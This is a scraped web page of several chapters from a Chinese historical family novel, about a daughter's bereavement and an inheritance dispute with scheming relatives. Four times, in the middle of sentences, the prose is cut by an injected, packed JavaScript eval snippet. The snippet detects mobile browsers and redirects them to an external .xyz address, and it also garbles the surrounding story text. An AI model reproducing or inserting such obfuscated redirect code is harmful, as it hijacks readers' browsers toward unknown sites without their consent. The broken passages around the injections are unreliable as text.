父亲说这玉华后山有一处叫做宕子湾的地方,风景如画,凉爽非常,峡谷、森林、瀑布群,石桥、木亭、小溪流,应有尽有,乃是避暑游玩之胜地。 夜晚,月光照进山林,渐生透心凉意,肃风淌过清泉,声音分外清晰。果然是深山宜避暑,明夷睡在道观客房内,半夜竟被冻醒过来。 这山里的凉与寻常不同,竟似有些阴意,直直渗进了骨子里头。大晚上的明夷也不想打扰他人,只自己把白日的外衣拿来盖在了薄衾外头,枕着山里天然的白噪音,又沉沉得睡了过去。 次日临近晌午,虽是暑气正盛之时,幸有山林遮蔽与瀑布喧嚣,竟不觉炎热。明夷一家三口在宕子湾的清溪边找了一处空地,各自倚了块石头,听着潺潺的流水声,平复着因为爬山而急促的呼吸。 溪边布满了形态各异的卵石,湍急的瀑布溅出一片濛濛水雾,清泉里立着几株古松,高达笔挺,枝叶却生的稀稀拉拉,不知在此生长了多少年。 两个小厮将长长的青篾竹席铺开,冬青和麦冬提着两个朱漆食盒,将其层层展开,里头装的都是明夷和顾夫人早起做的小食,有甜碗子、水木瓜、莼菜羹,都是些解暑的玩意儿。 观里后院种了一片西瓜,明夷得了允许后摘了一个带过来,兴冲冲地将其抱到溪边,放进哗哗的活水里冰镇。 顾静翕蹲在竹席边,将提早裹好黄泥与荷叶的叫花鸡从竹篮里拿了出来,抬眼看到王同光和小厮已经在不远处将土堆搭好了,又捡了跟松枝走过去,将灰和土撇开,把鸡埋进土堆里。 另一边,明夷指挥着小厮抬来两个红泥小炉,一个放着铜吊子,里头咕嘟着鲜嫩的菱角,混着桂花蜜的甜香,光是闻着就觉得沁人心脾。 而另一个,往里头填好炭后,并没有架锅,而是在上面铺了一张铁丝网,这是明夷的主意,铁网也是她指挥着编的,出发前信誓旦旦地说要带大家吃个好玩的。 明夷从一个三层高的紫檀提食盒里取出用松枝串好的银鲳、鲜虾、豆腐、鱿鱼和牛羊肉各许,又从蓝布包裹里翻出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“娘!这鱿鱼烤好了,快吃快吃!”明夷一把将两串鱿鱼塞进母亲手里,赶忙阻止她即将发表的长篇大论。天可怜见的,她这几年可是听得够够的了。 “我的呢我的呢?”王同光挑了挑眉,从妻子背后探头询问道。 “你这不要辣的还没好,我怕和别的混了,所以单独烤。”明夷指了指中间微微卷曲的鱿鱼须,示意稍安勿躁。 王同光得令,转头又看见妻子手中焦黄的鱿鱼串,不自觉咽了咽口水。 顾静翕看着好笑,低头咬了口鱿鱼,感慨父女俩真是一个馋样。 许是丈夫目光过于灼烈,顾静翕递了一串到其嘴边,好笑道:“尝尝吧,别吃多了,这挺辣的。” 王同光连忙挽尊道:“欸这,不用不用,明儿已经在给我烤了。” “真不要?”顾静翕挑了挑眉,揶揄地看着丈夫眼珠子都要粘在鱿鱼上的好吃样。 王同光嘿嘿两声,嚷嚷着“还是夫人懂我”,低头一口咬了下去,然后立马被辣的嗷嗷叫。 明夷听到父亲惨叫,连忙回头,“这是怎么啦?” 顾静翕晃了晃手上的鱿鱼串,啧啧道:“好吃狗的下场。” 明夷瞬间哈哈大笑,王同光迎着妻女调侃的目光,哀求道:“两位大人行行好,快给我拿点解辣的东西来。” 顾静翕指挥着冬青捧了碗甜碗子来端给王同光,明夷瞅见白瓷碗里头的西瓜,突然“啊”了一声,差点忘了她的西瓜! 叮嘱母亲过来帮她给烤串翻面,便提着裙子急匆匆跑到溪边。西瓜已经被溪水冰的凉透了,明夷蹬蹬地抱回来,用力往地上一摔,西瓜顿时裂成数瓣,声音清脆至极,一听就是个自然成熟的好瓜! 明夷先捡了两块递给父母,又给丫鬟小厮送了几块过去。太阳逐渐西移,山间鸟雀清鸣,一家三口并排坐在竹席上,左手西瓜右手烤串,面朝瀑布背朝山,头顶穹庐脚踏山骨,直叹再没比这更快活的事情了! 31. 万物一府,死生同状 盛夏天气多变,次日下山的路上,二房众人突遇暴雨,虽备有伞具,奈何狂风大作、雨势磅礴,一行人还是被淋成了个落汤鸡似的落魄模样。 明夷自己倒无甚所谓,甚至听见轰鸣的雷声时还想将伞抛下,主要这山间林木众多,伞也是竹子做的,她有些害怕被闪电劈中。 王同光见女儿歪斜着拿伞,半身湿透的模样,以为是风过于急促的缘故使得明夷抓不稳伞柄,连忙将她的伞接过,稳稳地替女儿将伞撑好。 山路狭窄,容不得两人撑伞并肩行走,石板又因为下雨变得更加泥泞湿滑,王同光一人撑两伞既不好走路,也遮不住什么雨,身上不一会就沾了不少雨水,整个人的姿势也别扭极了。 父亲身体不好,明夷哪里肯这样,没走两步就一把将伞夺了回来,迎着王同光不赞成的目光,两手将伞柄抓得稳稳的,表示她在伞在,父亲只管安心。 这场急雨是在临近山脚的时候停的,阴沉沉的乌云一退,霎时露出碧空晴朗万里无遮,日头毒的仿佛将人五脏六腑都烧了个遍,水汽在暑气中蒸腾,像是在人口鼻处掩了一条温湿的帕子,闷得简直无法呼吸。明夷蔫头耷脑的把竹伞杵在地上倚着,觉得此刻天地乃一大蒸笼,而自己是里头一只皮薄馅多的叉烧包,已经热得流油了。 回府之后,几人赶忙洗了个热水澡,将身上黏糊的衣服统统换掉。明夷原是想让厨房做碗酥山凉快凉快,结果在吩咐是被顾静翕逮了个正着,被逼着连喝了两碗姜汤,现下正缩在冰鉴旁吐舌头,感觉自己都快中热毒了。 最近的天气不知为何,竟比往年还要闷热三分,不说是人了,就连树上的鸟儿雀儿都燥得叫不出声,日头烤得感觉空气都泛着波纹,将院子里的草木扭曲成抽象画的模样。 王同光回来之后,不过四五天的光景,突然就发起了高烧,整个人躺在榻上意识模糊,从昨天晚上始就一直昏迷不醒。明夷听到消息时正抱着酥山大快朵颐后,手里的青瓷钵噼里啪啦在地上摔成碎片,少女连外衫都忘了披,只一门心思往不系园赶,一路大汗淋漓,急得鞋都差点跑掉一只。 自前几年请了那位游医过来开了药方,父亲的身体状况比之前稳定了不少,怎么又突然发起热来?难道是前几日的那场大雨?还是——明夷突然想起山里凉气四溢的两个夜晚,一时心里如坠冰窟。 推开不系园的大门,一眼看见正对着的堂屋房门大开,立在桌旁的白胡子大夫表情严肃,正在和顾静翕说些什么,顾夫人眼圈泛红,一看就是刚刚哭过。 大夫给王同光号了脉之后,又扒开他的眼皮和嘴唇瞧了瞧,最后在几个穴位上扎了几针,在身上四处按了按,便收拾了东西请顾夫人借一步说话。 顾静翕瞧见大夫紧锁的眉头,方才止住的眼泪又忍不住泛出眼眶,果然,大夫说王同光身体先是被凉邪渗入,后又被热毒所侵,现下两气在胸中凝滞,又被湿气裹挟,情况非常不好。 顾静翕向后一个踉跄,被不知何时冲过来的明夷扶住,强迫自己稳定心神,颤着声音问道:“钱…钱大夫,可有…有法子?” 钱大夫不忍地看向母女俩一色焦急的面容,叹道:“之前那些药不要吃了,我再重新开一方,兴许可以稍稍控制一下。还有——” 钱大夫顿了顿,又继续说道:“病人现在体内主要被湿热灼烧,寒气在其下也带着冷焰。外头暑气不易于病人修养,我建议还是先将其送到你们说的那个道观去吧,虽然说是以毒攻毒,但目前也只有这个法子了。” 送走钱大夫后,顾静翕又请了好几个王同光常看的大夫,得到的答案都大差不差,于是立马吩咐下去,准备即日就上山。然而现下天色已晚,山路本就难行,更别说王同光还得让人抬着,遂只得等明日再走。 第二日一早,还不待二房套上马车,道观又传来消息——王老太爷病重。 王家众人神态各异,又是一统收拾急忙上山,结果老爷子闭门不见,将人全都请了回去。 顾静翕带着女儿将丈夫安置好,把一并事物吩咐下去,做好了在山上长住的准备。而大房三房的人吃了闭门羹后并没有久留,很快就回了府。 道观日子幽静,但外头却不见得。没过几日,山下不知哪个犄角旮旯里传出了王家次子不孝,将病气染给父亲的谣言,很快就扩散到了全城,成为当地士族茶余饭后的谈资之一。顾静翕一等身处深山消息闭塞,对此并无耳闻,只一心一意地照料着病弱的王同光。 九月中旬,王同光神志清醒了些,每日能与妻女简单交谈一会儿,其余时间仍陷入昏睡中。顾静翕每日守在丈夫身边,事事亲为,半点不肯离开半步,整个人瘦得如同干瘪的白菊,风一吹就散了。 明夷每日帮着母亲照料父亲,看着二人一昏迷一憔悴,更觉得恐惧愧疚的情绪像一张大网一样将自己罩得牢牢的,心里像是有一把钝刀子在天天割肉,疼的她整宿整宿睡不着觉。 如果不是她要去那宕子湾,如果她当时好好打伞,是不是就不会有后面那些事?父亲是不是就不会变成现在这样…… 少女整日消沉,眉宇间时刻笼罩着忧愁之色,精神萎靡形容落魄,时常跟一个木头人似的呆坐发愣。顾静翕被丈夫身体占据全部心神,也没有察觉到女儿的不对劲。直到王同光有一日清醒时,看着妻女消瘦憔悴的面孔,艰难地抬起手腕拍了拍妻子的手背,对着女儿说道 “明儿怎的瘦了那么多?不要害怕,更不要愧疚,爹爹生病与你无关,等我日后好了,再带你出去玩……” 明夷霎时泪水夺眶而出,近些日子的煎熬仿佛也一道倾泻而下,她不知道该如何形容此时的心情,是为父亲的安慰感到松一口气?还是为自己的轻松感到羞耻?爹爹病魔缠身仍不忘对她的关怀,她却为了这一句话给自己的负罪找到了逃脱的隙口,她真的…… 她…爹爹还是…为什么上天要这样对他,那么好的人为何要遭遇如此折磨?她好不容易习惯了这里的生活,为什么上天要把他从她们身边夺走?为什么劫难总是落在好人头上?难道老天爷就见不得幸福平稳,偏生要把命数搅得一团糟才开心吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518249|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明夷哭得几欲昏厥,顾静翕听了王同光的话也是一惊,这些天来她的注意力全都放在丈夫身上,完完全全忽略了女儿,竟没注意到女儿的不对劲。是啊,明儿心思那么细腻的孩子,定是把罪责都归到自己身上了,日日揣着那么沉重的心事帮着她一起照顾病人,王同光每难受一分,女儿心里就更自责一寸,无处诉说,无法宣洩,生生将人压成……顾静翕不忍再细想,只抬手拥住哭得浑身颤抖的女儿。 明夷双臂紧紧环在母亲腰间,像是溺水之人抓住的最后一条浮木。顾静翕拍着女儿的脊背,对上丈夫虽然满脸病容,却依旧温柔的双眼,她想,无论怎样,她必须坚强起来,她的丈夫和女儿都依靠着她。 一家三口稍稍又说了一会话,顾静翕看着女儿眼下的黛青,非常强硬的让麦冬将小姐带回房休息。明夷乖乖回房后又吩咐麦冬去打一盆水回来洗脸,自己偷偷溜到了王老太爷的丹房门口。 站在门外徘徊片刻,这是她这段时间来此的第四次,可能还是会像之前一样被挡了回去,但……少女还是抬手敲了敲门,乖巧道:“祖父好,我是明夷,请问我可以进来吗?” 屋内传来几声咳嗽,良久,一个小童打开门将明夷请了进去,又把门轻轻阖上,只自己守在门口。 明夷对着祖父行了个礼,抬眼看见祖父隐约泛着青灰色的苍老面容,虽是早有准备,但内心还是一阵惊讶,离上次赠言不过月余,面前的老人像是被抽走大半生命力一般,躺在床上犹如一截苍老腐朽的树根。 “祖父我——”明夷刚想表明来意,就被王老太爷游丝般的声音打断。 “明丫头,我知道你来干什么。” 明夷一惊,又随之了然,不自觉抿直嘴线,紧张地绞着手指,等待着王老太爷的下文。 只听见老爷子继续说道:“生之来不能却,其去亦不能止。夜旦有常,死生同状,你只做好自己该做的罢。“ “可是——” “明丫头,万物一府,你看这花开花落、草木枯荣,人也一样。每个人都有自己的命数,你父亲在循着走,我也在循着走,而你来到这里,也是一样的。” 老爷子喘了两口气,又接着说道:“不忘其所始,不求其所终,俗世人都要顺着命运的指引往下走,无论是在此世,还是彼岸,生命并不会因为□□的寂灭而消亡。” 明夷不敢置信般地盯着床上那具枯瘦的人影,王老太爷混浊的眼神里带着豁达与怜悯,或许还有一丝悲伤。少女仿佛泄下了全身的气力,行尸走肉般回到了自己的房间,没有理会麦冬的疑问,径直倒在床上,呆愣愣地听着窗外萧瑟的山风,明明才至初秋,为何这山间已有了凛冬的寒意?难道又是命数使然?人活一世,难道只是在演一场早已排好的戏目? 熹宁十八年,离立冬还有三日,山间忽得下了一日大雪,终年不冻的清溪一夜结冰,万籁俱寂中,道观的丧钟在山林间回荡,这对几乎从未相处过的至亲父子,隔着单薄的墙壁听着对方生命的余音,死在了同一个白茫茫的早晨。 32. 鸿门宴 当顾静翕几人扶着王氏父子俩的棺椁下山时,王府已经挂满了白幡。 葬礼办得很顺利,一并事物被大房和三房打理地井井有条,陈、桑二位夫人每日忙得脚不沾地,倒也还有空抽出时间来不系园内宽慰顾静翕母女俩。 明夷回来第二天就收到了林时夏派人的紧急送来的信件,里头提到了最近谣言的事情,顾静翕捏着信纸冷笑两声,母女二人对视一眼,谣言出自何处,简直一目了然。 顾静翕自丈夫去世后就没再掉过一滴眼泪,每日有条不紊地处理各色信件和应付前来悼念的神色各异客人。 明夷十分担心地看着母亲日日忙碌,用事情将自己填满的模样,如果可以,她宁愿母亲大哭一通,而不是如现在般神色冷静,活像个只会循着日程做事的提线木偶。 但她知道,顾静翕也知道,现在这个节骨眼上,无数双眼睛正在背后盯着她们,等着她们出错,等着她们疲软,好伺机一击,冲上来分一杯羹。 丧事结束在十一月中旬,府里檐脚下的白灯笼依旧在风中摇晃,像是一个个飘浮的幽灵。袁老太太遣人来不系园通知今夜来瑞鹤堂吃饭,顾静翕抚弄着女儿鬓边的白色绢花,母女俩俱一色的冰冷神情,她们知道,真正的硬仗要开始了。 待明夷母女俩挽着手跨进瑞鹤堂的大门时,就瞧见屏风后头的黄花梨透雕云龙海水纹圆桌旁已坐了一圈人,明夷心里不禁冷哼一声,到这么早这么齐,想是早已聊过几轮了吧。 袁老太太身边的婆子拉开其左边的两个黄花梨高靠背灯挂椅,见两人落座后,侍奉在屋外的丫鬟们便捧着食盒盘盏鱼贯而入。 席间服侍的丫鬟先给每人盛了一碗鲃肺汤,只见那龙泉青花碗里,色如牛乳的鱼汤里头浮着白玉般的鱼肝,选用的皆是冬至前后最肥美的太湖鲃鱼,与老母鸡、宣威火腿一起煲足了两个时辰。明夷低头尝了一口,里头应是加了白胡椒粉,混着鱼汤满口辛香,鱼肝也是入口即化,回味清冽甘甜。 好一场鸿门宴呢。 圆桌上除了明夷与顾夫人,还有袁老太太,再无一人动筷。三房的王同宁与夫人桑氏目光炯炯地看着上席袁老太太的方向,大夫人陈氏也掩着目光暗暗瞧着,三房的龙凤胎倒是低着头不知在想什么,大房的王元亨则止不住地悄悄打量明夷母女俩。 袁老太太不动声色地瞟了一眼三房,微微皱了皱眉,转头一脸慈祥地对着明夷说道:“我看明姐儿最近瘦了不少,快快多吃些,你父亲昨晚还托梦给我,嘱咐我替他好好照顾好你们母女俩。”接着又招手道:“孙妈妈,快把那道五味杏酪鹅端到明丫头面前。” 明夷心里冷笑更甚,老太婆前戏还挺长,下面几个可等不及要开唱了,怎么,是觉得现在假意温情两下,就能够安抚自己的良心吗? 少女放下手中汤匙,嘴角一撇,带着哭腔道:“谢祖母好意,只是这道杏酪鹅乃父亲生前最喜爱之菜,孙女一看到它就想起父亲,实在是无法下咽。”边说着又小声啜泣起来。 袁老太太招呼的动作一顿,脸色瞬间尴尬起来,孙妈妈见状赶紧将这道菜撤了下去,又对着上菜的丫鬟教训了一通。顾静翕冷眼看着这一番做戏的派头,轻轻拍了拍女儿的肩,给人夹了一筷子雪菜冬笋炒鹿筋。 桑夫人偷偷扯了丈夫一下,两人也收回目光低头开始吃菜,陈夫人掩饰着拍了拍自己发愣的儿子,给人夹了只梅花糟鸭掌。 王同宁殷勤地给袁老太太盛了一只用羊羔酒煨的鹌鹑,舀汤时特意向众人展示了汤匙里颤巍巍的胶质,满脸堆笑道:“这可是昨夜就开始吊的高汤,舀起来挂勺才方算火候到位。儿子特意嘱咐厨房往里添了红参、当归与西域黑蜜,冬日食之最是滋补,母亲赶紧趁热尝尝。” 桑夫人也跟着笑道:“这菜是我和同宁昨天特意吩咐厨房做的,大家这阵子都劳心伤神的,可得好好补补,父亲和二哥泉下也才好安心啊。大嫂、二嫂都快尝尝合不合胃口!” 陈夫人夹了一只到碗里,用筷子拨了两下,惊讶道:“呦!这鹌鹑腹中还塞了糯米与火腿丁呀,孩子们都快尝尝,是你们喜欢的玩意儿!” 顾静翕听着耳边的惺惺之语,瞧都不瞧三房一眼,只径自夹了一块玛瑙肉酿面筋小口吃着。 见众人吃得差不多,丫鬟们撤了碗碟,又捧了甜食上来。袁老太太捏着汤匙搅了搅面前的八宝莲子羹,去了芯的莲子在甜汤里浮沉,半响才看向众人,不紧不慢地说道 “今晚让大家过来一趟,是有一件重大的事情需要商讨。有道是‘父母在,不分家’,只如今你们的父亲还有同光都先一步离我而去,我也无心在当这个家,你们各自都是当爹当娘的人了,哥儿姐儿娶亲的娶亲,嫁人的嫁人,索性就现在将这家分了罢了,你们自己经营好小家,不要再来叨扰我这个老太婆了。” 陈夫人笑道:“母亲这说的哪里话,这些年多亏了母亲咱们家才那么兴盛,要是离了您,儿媳都不知道该怎么办才好呢?” 袁老太太也笑道:“都是做祖母的人了,怎的嘴还那么贫?” 王同宁又插嘴道:“只是这家应该如何分?按理来说应该是我们三兄弟平分的,只是如今二哥去世,二嫂又只有明姐儿一个女儿,前两天族里的几个老人找上我,说……” 王同宁突然停了下来,面露难色,桑夫人立马接话道:“你就说吧,来找的都是咱们族里德高望重的人,无论怎样,我们作为传话的都得把意思带到。” 王同宁叹了口气,又接着说道:“族里那几位专门开了祠堂,说二哥只有一个女儿,将来也是要嫁到别人家的。王家的这些财产都是祖辈辛苦累积下来的,实在是不忍看其流到外头,所以提议将二房的财产分八成留在族里做公产,供孩子们读书科举用,也算是全了二哥教书育人一辈子的心愿。当然明姐儿作为二哥唯一个孩子,余下的两成就作为嫁妆和供二嫂生活。” 陈夫人帮腔道:“那明姐儿日后的嫁妆不可谓不丰厚啊,你两个姐姐并你大嫂当时都没那么多呢!” 桑夫人也道:“也不是谁都有明姐儿这样的福气的,聘了个好夫婿,嫁妆又丰富……” 明夷手上勺子“啪”得重重扔在瓷碗里,冷笑道:“我爹死了,这福气给你要不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530344|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要?” 袁老太太厉声道:“明丫头怎么和长辈说话的!都已经是大姑娘了,规矩都学到哪里去了!” “母亲怕是忘了,明儿规矩一直学得极好,嬷嬷可是常夸的呢!只是桑妹妹这话说得也忒不得体了吧,同光头七才没过去多久,就在我女儿面前说她有福气,怕是这羊羔酒吃昏了头吧!”顾静翕声音凛冽,毫不客气地剜了桑夫人一眼。 袁老太太又出来和稀泥,道:“都少说两句,刚刚宁儿提的那事你们怎么看?” “我自己心里是不愿的,到底我们与二哥是亲兄弟,这财产合该均分,只是族里态度强硬,又涉及到族产的问题,我也不敢擅自做主。不过我到想到一个法子——” 王同光面上恭检,有些得意地说道:“咱们分产明面上还是照着族里分,私下里我愿意拨一些私产赠与二嫂嫂,也算是全了我与二哥的兄弟之情。” 陈夫人也接口道:“三弟说得有理,我们这做大哥大嫂更要照顾好弟妹,我届时也拨一部分赠与顾妹妹。” 袁老太太满意的点点头,“族里的事情我身为妇道人家也插不进嘴,难为你们两兄弟这么体恤同光一家,也不施为一可行之策。” 顾静翕嘲讽地笑了两声:“就这么三言两语就把我们二房的归宿给定了?诸位这一唱一和的跟唱戏似的,想是早就排练好了吧?” 陈夫人尴尬地哼哼两声,与桑夫人一同看向袁老太太。老太太揉了揉眉心,看向顾静翕,一脸和蔼道:“同光媳妇,我知同光的死对你来说打击太大,但孩子面前,基本的规矩可不能丢。这分家的事情重大,所以才把你们叫过来一起商量,你说说,你是怎么想的?” 顾静翕眉毛一扬,道:“《大周律》可有规定,若无子,女儿是可以继承父亲全部资产的,我们身为大周子民,定是要依照法律来的。” 王同宁刚夹起一块定胜糕,闻言手肘一抖,妃色的糕点掉进盘子里,有些不可置信道:“二嫂嫂好大的口胃,这意思是想要全部的财产?虽然律法是有规定,但人人都知道女儿不能继承绝户所有资产,不然弄的亲疏不分,内外不调,置礼法于何地?再说了,族里也是不可能同意的!” 桑夫人也道:“二嫂嫂别是说的气话,现下这法子已经很好的,明姐儿嫁妆丰厚,咱们妇道人家也花不了多少,我们两房再凑一些给你们,早已足够你们母女二人活得跟个神仙似的。有道是人心不足蛇吞象,何必又多事一桩,到头来损了自己的阴德。” 明夷只觉得自己要被这群不要脸的气笑了,到底是谁人心不足蛇吞象?到底是损谁的阴德?天下竟有如此厚颜无耻之人,她这活了两遭也算是长见识呢! 还八成归族里,能有两成流到族里她都要称一声大气,真是笑死个人。这群人明明可以直接抢的,还偏要假心假意的送几个歪瓜裂枣上来,拿本来就是她的东西来施舍她,简直是滑天下之大稽! 少女气势汹汹地就想回怼,却被母亲一把按住肩膀,知道是母亲自有安排,只得恨恨地咬了一口碗里的定胜糕,暗暗咒骂道,一群烂心烂肺烂心肝,早晚下地狱! 33. 事态升级 顾静翕火力全开,阴阳怪气的调调将桌上几人噎得满面通红,还不待散席,就径直拉着明夷大摇大摆地离开了。 回屋之后,顾静翕吩咐冬青和麦冬将门窗关好在外头守着,母女二人坐在罗汉榻上,明夷两手紧紧抓着松石绿釉菊纹盖碗,脸颊红扑扑的,似是还没从刚刚的怼人大戏里缓过来。 不过她也有些疑惑,母亲素日看着并不像会吵架的,怎么今晚突然? 许是看出来女儿的疑惑,顾静翕淡淡道:“这些东西,看多了听多了,自然就会了,只是从前懒得用罢了。” 对于顾夫人出嫁前的生存环境,明夷也是略有耳闻,就瞅着母亲今晚在桌上的战斗力,啧啧,不难想象她娘家整日里得有多热闹。 只是——明夷想了想,还是问了出来 “我们今晚算是和他们撕破脸了吗?我以为…嗯娘亲还要和他们再周旋一下。” 顾静翕提起黑彩竹雀纹茶壶,给两人的杯子添了些茶水,眉眼带着厉色,“周旋?呵,明儿方才也瞧见了他们说的那些,就差直接把咱们娘俩一口吞了!我们又何必在那委曲求全,没把那张桌子掀了,我都要自夸一句有教养,而且,明儿,你来说说,今晚这情况你是如何看的?” 没想到还有自己的事,明夷连忙坐直道:“娘亲素来性子文弱,姊妹间我也从不争抢什么,我猜他们是觉得咱们孤儿寡母好欺负,于是早早就想好计策、再把锅丢给族里,最后随便扯张善皮子,料想咱们定会委曲求全。谁知娘亲今晚既然如此刚烈,但看他们那势在必得的阵仗,定是不会善罢甘休的。” “不错。“顾静翕点点头,“他们必有别的动作。” “娘亲觉得他们还会做什么?”明夷挠了挠脑袋 顾静翕幽幽地叹了口气,“我也不知,大概是些把水搅浑,把我们拖的焦头烂额的东西。” “那我们真的能要回全部的家产吗?”明夷有些担心道 “那是自然——”顾静翕话音一转,“不可能的。” 明夷的心被母亲的话搞得一上一下,她也觉得在现在这个时候,女子继承全部遗产是不可能的,只是方才母亲那么说,她以为有什么她不知道的法子,现在看来,她大概是知道母亲的用意了。 果然,顾静翕又接着开口道:“人想要得五分,就要开十分的口,我这么说,一方面表明态度,一方面也算让事情还有回旋的余地,并且……” “并且还可以让他们掉以轻心,以为咱们二房是个傻的!”明夷快速接口道。 她懂她懂,这跟菜市场砍价一个道理,上来先对半砍,降低心理预期,然后再慢慢加,果然啊,实用的道理总是藏在寻常小事中,这叫什么?生活的大智慧! 顾静翕捂着嘴“扑哧”一声,露出了近些天的第一个笑容,葱指点了点女儿光洁的额头,笑道:“你这位懂小姐,天底下再找不着比你更懂的了。” 明夷俏皮地吐了吐舌头,磨磨蹭蹭地把自己往母亲身边挪,一把将人抱住,埋首在颈间,闷声道:“娘亲知道的吧,你还有我呢,无论怎样,咱们娘俩一定要好好的!” 顾静翕猛地被女儿搂在怀里,听着低低的絮语,眼里一阵酸楚,倏地滴下泪来。 果然如母女俩所料,不出两日,麻烦就找上门来了。 一大早,几个穿着麻布短衫的庄稼汉在王府门口吵吵嚷嚷,来人便喊:“王家二房私改契约,连续两年多收田租!” 边上还有一个穿着草鞋的瘸腿老人抹着眼泪哭诉他这腿本已攒好钱去治,就是因为被多收了租金,家里无钱了,只得一拖再拖,现在已经废了。 路边的人渐渐围了上来,指指点点的看热闹,中间还夹杂着几句“又是二房”,“不是才死了吗?”,“不孝又不仁”之类的讨论。见来看的人越来越多,几个佃户喊得愈加起劲,王府门口俨然一幅菜市场般的喧闹模样。 大概过去两刻多钟,王府紧闭的大门开出了一条缝,一个小厮钻了出来,对着几个佃户问了几句话,接过他们递来的契纸,告诉他们稍等片刻,又迅速将门阖上。 很快又来了两个小厮,一个带着几个佃户绕到后门进了王府,另一个留下将围观的人群疏散。 小厮带着几人在府里左拐右拐,来到一处堂屋的抱厦。顾静翕手上翻着账簿和租约,早已在此等候,见人已至,丫鬟拿来几个杌子让他们坐下,又上了茶,待他们都饮了几口茶后,才施施然开口道 “各位今日来我府上一趟,究竟所谓何事?” 方才叫得最凶的一人咧嘴一笑:“刚刚在你们王府的大门口不是都说了很多遍了吗,夫人怎么还明知故问呢?不会是想揣着明白装糊涂将我们随便打发了吧。” 顾静翕也不恼:“你们方才所讲都系谣言,我将你们请进来,并不是因为我相信了,而是想听真话。” 那汉子又道:“我方才讲的可全都是真话,句句属实,苍天可鉴!我们庄稼人都是老实本分的,要不是被逼得没法子了,又怎会冒这个险上你们这些官老爷家门一趟。” 顾静翕端起盖碗茶轻轻抿了一口,旁边的冬青立马上前道:“你们若是想解决事情,就按照夫人说的来,让你们说就说,不要整这些弯弯绕绕的嘴巴子话!” 这位穿着短褐的庄稼汉子怨毒地瞄了一眼冬青,还是低头说道:“你们乱收田租,害得我一家老小揭不开锅,父亲的腿也没钱治!怎么,够明白了吗?” 冬青又道:“你说我家老爷夫人乱收田租,证据何在?” 后面一位穿着犊鼻裈的佃户从腰间的草绳处翻了几张纸出来,道:“当时定的田租,后面交的租金,还有这些零零散散的单子,凭据可都在这里了。” 一个小丫鬟走上前想将那沓纸接过,只见那佃户稍稍躲闪了一下,抬头瞅了眼方才说话最多的汉子,才将单子递了过去,嘴里嚷嚷着:“这些单子可不止我们一户有……” 顾静翕接过冬青递来的单子,略略翻了一下,道:“我们二房租出去的土地一直签的是定额的租金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539564|166940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,收也同样,年年金额没有差别,甚至大前年水灾还给减了租。你这缴租单子上明显写的是四六分成的分成租,不可能是我们所为。” “租我们田地的是你们,收租的也是你们,加租的还是你们,现在白纸黑字清清楚楚摆在眼前,结果却不认!夫人,亏你们还是读书人,怎么尽干些翻脸不认账的黑心勾当?” 那庄稼汉子气势汹汹,旁边的瘸腿老人也适时哀嚎道:“天可怜见的,我辛辛苦苦种了一辈子地,你们这些高门大户穿金戴玉的,明明如此有钱,却还惦记着我们烂泥巴里挣的几个破铜板,这是要将人往死路上逼啊!” 他这一嗓子,将剩下几人也激的嚷嚷起来,场面霎时混乱不已。冬青扯着嗓子吼了好几句,才让众人安静下来,顾静翕冷冷看着底下几人,道:“说吧,你们想怎样?” 庄稼汉子眯起了他泛着贼光的眼睛,不紧不慢道:“简单,夫人将多收的租赔给我们,这事就算了了。” 冬青怒斥:“我们家老爷夫人分明没干此事,何来赔偿一说?” 那汉子起身道:“既然夫人无意,那我还是报官吧,也让临安城的人看看这些朱门大户到底是个什么嘴脸。” 边说着边将瘸腿老人扶起,得意洋洋地看着前方。 顾静翕眼里闪过一丝嫌恶,招了招手,“让人将他们带出去。” 待人走后,明夷从后面的隔扇里转了出来,捏着拳头气愤道:“从未见过如此厚颜无耻之徒,也忒不要脸了!赔钱事小,真要是给了,岂不是坐实了这个罪名,到时才真是有冤无处申了!” 顾静翕往后仰了仰,靠在椅背上,疲惫地揉了揉眉心,“这八成又是三房使的诈,我刚刚查了账本,发现正巧对着田租的那几页被作了手脚,大概是趁我们在山上时就计划着了。” 明夷闻言更加气愤,“他们可真是等不及,那么早做准备,怕是盼望着我们二房统统死光才好。” 顾静翕也很恼怒,但还是压住了情绪,慢慢道:“刚刚我看了他们的簿子,做得一点问题也没有,现下我们那边也拿不出证据,真要对上公堂,于我们十分不利。” 